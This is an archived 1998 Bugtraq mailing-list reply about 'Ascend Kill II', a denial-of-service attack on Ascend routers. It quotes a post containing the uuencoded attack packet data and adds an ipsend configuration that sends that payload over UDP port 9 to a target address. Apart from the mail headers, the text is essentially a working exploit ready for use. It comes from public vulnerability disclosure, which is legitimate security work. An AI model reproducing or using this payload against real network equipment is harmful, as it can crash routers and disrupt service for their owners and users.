[6330] in bugtraq
Re: Ascend Kill II - Ballista "cape" version
daemon@ATHENA.MIT.EDU (Darren Reed)
Tue Mar 17 23:03:01 1998
Date: Wed, 18 Mar 1998 12:43:29 +1100
Reply-To: Darren Reed <avalon@COOMBS.ANU.EDU.AU>
From: Darren Reed <avalon@COOMBS.ANU.EDU.AU>
X-To: aleph1@DFW.NET
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <Pine.SUN.3.94.980316192833.14825B-100000@dfw.dfw.net> from
"Aleph One" at Mar 16, 98 07:30:28 pm
In some mail from Aleph One, sie said:
>
> [ from rootshell ]
>
> Secure Networks makes security auditing software called Ballista. It has
> its own scripting language called cape. Here is a version of Ascend Kill II
> written in cape. Check out how small it is!
>
> -- cut here --
> -- cut here --
>
> Here is the data that cape needs. It is uuencoded.
>
> begin 644 ascend_data.uue
> M 'H@@2S/VD@0 2-%9X__________\ 3D%-14Y!345.04U%3D%-1?]0
> M05-35T]21%!!4U-73U)$4$%34V9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> 99F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
>
> end
Using that data file with ipsend v2:
interface { ifname le0; mtu 1500; };
ipv4 {
src 1.1.1.1; dst 10.0.0.2;
udp { sport 9; dport 9; data { file ascend_data.uue; }; };
};
send { via 10.0.0.1; };
